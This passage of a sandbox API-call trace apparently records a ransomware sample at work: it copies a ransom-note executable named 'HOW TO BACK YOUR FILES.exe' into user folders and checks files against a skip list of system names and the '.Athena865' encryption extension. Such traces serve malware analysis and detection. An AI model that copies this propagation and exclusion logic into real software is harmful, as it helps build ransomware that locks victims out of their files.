cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.556] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.556] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.556] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0100.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.557] GetLastError () returned 0x0 [0100.557] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.557] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.558] CloseHandle (hObject=0xf4) returned 1 [0100.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.558] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc74d7ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc74d7ea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.558] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.558] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.558] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0100.558] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.558] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.559] GetLastError () returned 0x0 [0100.559] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.559] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.560] CloseHandle (hObject=0xf4) returned 1 [0100.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7570420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7570420, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.561] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.561] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.561] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0100.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.562] GetLastError () returned 0x0 [0100.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.562] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.563] CloseHandle (hObject=0xf4) returned 1 [0100.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.563] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc75bc6e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc75bc6e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.563] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.563] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.563] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0100.563] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0100.563] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.564] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0100.564] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.564] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.565] GetLastError () returned 0x0 [0100.565] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.565] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.566] CloseHandle (hObject=0xf4) returned 1 [0100.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.566] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.566] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.566] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.566] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0100.566] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.566] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.567] GetLastError () returned 0x0 [0100.567] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.568] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.568] CloseHandle (hObject=0xf4) returned 1 [0100.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.569] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc76c7080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.569] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.569] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.569] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.569] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.569] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.569] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.569] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2=".") returned 1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="..") returned 1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="windows") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="bootmgr") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="temp") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="boot") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="perflogs") returned -1 [0100.569] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.569] lstrlenW (lpString="3YVoBFm.mkv.Athena865") returned 21 [0100.569] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2=".") returned 1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="..") returned 1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="windows") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="bootmgr") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="temp") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="pagefile.sys") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="boot") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="ids.txt") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="ntuser.dat") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="perflogs") returned -1 [0100.570] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="MSBuild") returned -1 [0100.570] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4.Athena865") returned 29 [0100.570] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0100.570] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0100.570] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.571] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2=".") returned 1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="..") returned 1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="windows") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="bootmgr") returned 1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="temp") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="pagefile.sys") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="boot") returned 1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="ids.txt") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="ntuser.dat") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="perflogs") returned -1 [0100.571] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="MSBuild") returned -1 [0100.571] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned 32 [0100.571] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.571] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2=".") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="..") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="windows") returned -1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="bootmgr") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="temp") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="pagefile.sys") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="boot") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ids.txt") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ntuser.dat") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="perflogs") returned 1 [0100.571] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="MSBuild") returned 1 [0100.572] lstrlenW (lpString="u8GDhzgOr1") returned 10 [0100.572] lstrcatW (in: lpString1="u8GDhzgOr1", lpString2="\\" | out: lpString1="u8GDhzgOr1\\") returned="u8GDhzgOr1\\" [0100.572] lstrcatW (in: lpString1="u8GDhzgOr1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe") returned="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" [0100.572] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2=".") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="..") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="windows") returned -1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="bootmgr") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="temp") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="pagefile.sys") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="boot") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="ids.txt") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="ntuser.dat") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="perflogs") returned 1 [0100.572] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="MSBuild") returned 1 [0100.573] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned 34 [0100.573] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2=".") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="..") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="windows") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="bootmgr") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="temp") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="pagefile.sys") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="boot") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ids.txt") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ntuser.dat") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="perflogs") returned 1 [0100.573] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="MSBuild") returned 1 [0100.573] lstrlenW (lpString="Xq4jS8elFnsM1RuTo") returned 17 [0100.573] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo", lpString2="\\" | out: lpString1="Xq4jS8elFnsM1RuTo\\") returned="Xq4jS8elFnsM1RuTo\\" [0100.573] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe") returned="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" [0100.573] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="HOW TO BACK YOUR 